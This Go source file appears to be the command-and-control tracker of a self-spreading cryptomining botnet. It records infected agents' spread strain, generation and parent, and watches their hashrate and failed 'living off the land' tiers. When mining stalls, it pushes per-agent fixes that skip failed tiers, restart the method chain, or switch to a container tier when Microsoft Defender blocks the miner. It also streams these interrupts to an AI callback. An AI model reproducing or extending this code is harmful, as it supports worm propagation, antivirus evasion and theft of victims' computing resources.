package epidemiology

import (
	"crypto/sha256"
	"encoding/json"
	"fmt"
	"strings"
	"sync"
	"time"
)

// MiningInterruptState is the exact mining stall snapshot reported to AI + Seer.
type MiningInterruptState struct {
	AgentID          string           `json:"agent_id"`
	SpreadStrain     string           `json:"spread_strain"`
	JoinLane         string           `json:"join_lane,omitempty"`
	SpreadGeneration int              `json:"spread_generation,omitempty"`
	ParentAgentID    string           `json:"parent_agent_id,omitempty"`
	ActiveMethod     string           `json:"active_method,omitempty"`
	ChainExhausted   bool             `json:"chain_exhausted,omitempty"`
	FailedMethods    []MethodFailure  `json:"failed_methods,omitempty"`
	LastError        string           `json:"last_error,omitempty"`
	LOTLTier         string           `json:"lotl_tier,omitempty"`
	MiningHashrate   float64          `json:"mining_hashrate"`
	LOTLAttempts     []TierAttempt    `json:"lotl_attempts,omitempty"`
	ReportedAt       string           `json:"reported_at"`
}

type MethodFailure struct {
	Method string `json:"method"`
	Reason string `json:"reason"`
	At     string `json:"at"`
}

type TierAttempt struct {
	Tier  string `json:"tier"`
	OK    bool   `json:"ok"`
	Error string `json:"error,omitempty"`
}

// AgentFix is a minimal surgical correction pushed on the agent's next auth pass.
type AgentFix struct {
	AgentID      string   `json:"agent_id"`
	Reason       string   `json:"reason"`
	SkipTiers    []string `json:"skip_tiers,omitempty"`
	ForceTier    string   `json:"force_tier,omitempty"`
	RestartChain bool     `json:"restart_chain,omitempty"`
	ErasureLanes bool     `json:"erasure_lanes,omitempty"`
}

// SeerEvent is a read-only transcript row for the Seer page stream.
type SeerEvent struct {
	Kind      string          `json:"kind"`
	AgentID   string          `json:"agent_id"`
	Payload   json.RawMessage `json:"payload"`
	Timestamp string          `json:"timestamp"`
}

// StatsInput mirrors the WS stats_update fields used for interruption detection.
type StatsInput struct {
	FleetRole        string
	ActiveMethod     string
	MiningHashrate   float64
	Hashrate15m      float64
	GPUHashrate15m   float64
	GPUMinerActive   bool
	ChainExhausted   bool
	MiningLastError  string
	FailedMethods    []MethodFailure
	LOTLTier         string
	LOTLAttempts     []TierAttempt
	JoinLane         string
	ParentAgentID    string
	SpreadGeneration int
	SpreadStrain     string
}

// Reporter callbacks for AI activity + Seer stream.
type Reporter struct {
	OnAI    func(agentID, action, reasoning string)
	OnSeer  func(event SeerEvent)
}

// Tracker observes stats, records interrupts, and queues per-agent fixes.
type Tracker struct {
	mu          sync.Mutex
	pendingFix  map[string]AgentFix
	lastState   map[string]MiningInterruptState
	seerEvents  []SeerEvent
	reporter    Reporter
}

func NewTracker() *Tracker {
	return &Tracker{
		pendingFix: make(map[string]AgentFix),
		lastState:  make(map[string]MiningInterruptState),
		seerEvents: make([]SeerEvent, 0, 64),
	}
}

func (t *Tracker) SetReporter(r Reporter) {
	if t == nil {
		return
	}
	t.mu.Lock()
	t.reporter = r
	t.mu.Unlock()
}

// ObserveStats detects mining interruption and queues a fix for the next auth pass.
func (t *Tracker) ObserveStats(agentID string, stats StatsInput) {
	if t == nil || agentID == "" {
		return
	}
	state := DetectInterruption(agentID, stats)
	if state == nil {
		return
	}
	fix := ComposeFix(*state)
	t.mu.Lock()
	prev, seen := t.lastState[agentID]
	if seen && statesEqual(prev, *state) {
		t.mu.Unlock()
		return
	}
	t.lastState[agentID] = *state
	t.pendingFix[agentID] = fix
	reporter := t.reporter
	t.mu.Unlock()

	t.emitReports(*state, fix, reporter)
}

// ConsumeFix returns and clears a pending fix for the agent's next auth handshake.
func (t *Tracker) ConsumeFix(agentID string) (AgentFix, bool) {
	if t == nil || agentID == "" {
		return AgentFix{}, false
	}
	t.mu.Lock()
	defer t.mu.Unlock()
	fix, ok := t.pendingFix[agentID]
	if ok {
		delete(t.pendingFix, agentID)
	}
	return fix, ok
}

// LastInterrupt returns the latest interrupt snapshot for an agent.
func (t *Tracker) LastInterrupt(agentID string) (MiningInterruptState, bool) {
	if t == nil {
		return MiningInterruptState{}, false
	}
	t.mu.Lock()
	defer t.mu.Unlock()
	s, ok := t.lastState[agentID]
	return s, ok
}

// RecentSeerEvents returns the tail of Seer transcript events.
func (t *Tracker) RecentSeerEvents(limit int) []SeerEvent {
	if t == nil || limit <= 0 {
		return nil
	}
	t.mu.Lock()
	defer t.mu.Unlock()
	if len(t.seerEvents) <= limit {
		out := make([]SeerEvent, len(t.seerEvents))
		copy(out, t.seerEvents)
		return out
	}
	out := make([]SeerEvent, limit)
	copy(out, t.seerEvents[len(t.seerEvents)-limit:])
	return out
}

func (t *Tracker) emitReports(state MiningInterruptState, fix AgentFix, reporter Reporter) {
	raw, _ := json.Marshal(state)
	event := SeerEvent{
		Kind:      "mining_interrupt",
		AgentID:   state.AgentID,
		Payload:   raw,
		Timestamp: state.ReportedAt,
	}
	if t != nil {
		t.mu.Lock()
		t.seerEvents = append(t.seerEvents, event)
		if len(t.seerEvents) > 500 {
			t.seerEvents = t.seerEvents[len(t.seerEvents)-500:]
		}
		t.mu.Unlock()
	}
	if reporter.OnSeer != nil {
		reporter.OnSeer(event)
	}
	if reporter.OnAI != nil {
		reporter.OnAI(state.AgentID, "mining_interrupt", string(raw))
	}
}

func statesEqual(a, b MiningInterruptState) bool {
	ab, _ := json.Marshal(a)
	bb, _ := json.Marshal(b)
	return string(ab) == string(bb)
}

// DetectInterruption returns a snapshot when an online agent is not continuously mining.
func DetectInterruption(agentID string, stats StatsInput) *MiningInterruptState {
	if strings.TrimSpace(stats.FleetRole) == "seeder" {
		return nil
	}
	hr := stats.MiningHashrate
	if hr <= 0 {
		hr = stats.Hashrate15m
	}
	if hr <= 0 {
		hr = stats.GPUHashrate15m
	}
	hashing := hr > 0 && (stats.ActiveMethod != "" || stats.GPUMinerActive)
	if hashing {
		return nil
	}
	if !stats.ChainExhausted && len(stats.FailedMethods) == 0 &&
		stats.MiningLastError == "" && !hasFailedLOTL(stats.LOTLAttempts) {
		return nil
	}
	strain := strings.TrimSpace(stats.SpreadStrain)
	if strain == "" {
		strain = spreadStrainFromJoinLane(stats.JoinLane)
	}
	return &MiningInterruptState{
		AgentID:          agentID,
		SpreadStrain:     strain,
		JoinLane:         strings.TrimSpace(stats.JoinLane),
		SpreadGeneration: stats.SpreadGeneration,
		ParentAgentID:    strings.TrimSpace(stats.ParentAgentID),
		ActiveMethod:     strings.TrimSpace(stats.ActiveMethod),
		ChainExhausted:   stats.ChainExhausted,
		FailedMethods:    append([]MethodFailure(nil), stats.FailedMethods...),
		LastError:        strings.TrimSpace(stats.MiningLastError),
		LOTLTier:         strings.TrimSpace(stats.LOTLTier),
		MiningHashrate:   hr,
		LOTLAttempts:     append([]TierAttempt(nil), stats.LOTLAttempts...),
		ReportedAt:       time.Now().UTC().Format(time.RFC3339),
	}
}

func hasFailedLOTL(attempts []TierAttempt) bool {
	for _, a := range attempts {
		if !a.OK {
			return true
		}
	}
	return false
}

// ComposeFix builds a minimal agent-specific correction from the interrupt state.
func ComposeFix(state MiningInterruptState) AgentFix {
	fix := AgentFix{
		AgentID: state.AgentID,
		Reason:  "epidemiology: broken branch — avoid re-traversing failed mining path",
	}
	seen := make(map[string]bool)
	for _, f := range state.FailedMethods {
		tier := strings.TrimSpace(f.Method)
		if tier == "" || seen[tier] {
			continue
		}
		seen[tier] = true
		fix.SkipTiers = append(fix.SkipTiers, tier)
	}
	for _, a := range state.LOTLAttempts {
		if a.OK {
			continue
		}
		tier := strings.TrimSpace(a.Tier)
		if tier == "" || seen[tier] {
			continue
		}
		seen[tier] = true
		fix.SkipTiers = append(fix.SkipTiers, tier)
	}
	if state.ChainExhausted {
		fix.RestartChain = true
	}
	if state.LastError != "" && strings.Contains(strings.ToLower(state.LastError), "defender") {
		fix.ForceTier = "container"
	}
	if len(fix.SkipTiers) == 0 && state.LOTLTier != "" {
		fix.SkipTiers = []string{state.LOTLTier}
	}
	return fix
}

func spreadStrainFromJoinLane(lane string) string {
	lane = strings.TrimSpace(strings.ToLower(lane))
	if lane == "" {
		return "#334455"
	}
	sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
	return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
}